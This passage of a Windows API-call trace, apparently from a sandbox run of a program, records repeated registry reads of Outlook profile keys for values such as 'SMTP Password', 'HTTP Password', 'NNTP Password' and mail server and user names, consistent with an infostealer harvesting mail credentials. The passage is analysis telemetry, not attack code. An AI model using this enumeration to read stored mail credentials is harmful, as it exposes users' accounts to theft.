(hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.993] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.993] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.993] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.994] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.994] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.994] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.995] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.995] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.995] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.995] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.995] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.995] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.995] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.995] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.995] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.995] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.995] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.995] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.995] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.995] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.995] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeecf0) returned 0x0 [0054.995] LocalFree (hMem=0x74dc68) returned 0x0 [0054.995] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x2, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.995] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0054.995] lstrlenA (lpString="\\") returned 1 [0054.995] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410850 [0054.995] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0054.995] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.995] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0054.995] lstrlenA (lpString="00000003") returned 8 [0054.995] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74dc68 [0054.995] lstrcpyA (in: lpString1=0x74dc68, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.995] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000003" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003" [0054.995] LocalFree (hMem=0x9410850) returned 0x0 [0054.995] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.996] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.996] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.996] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.997] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.997] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.997] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.998] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.998] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.998] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, 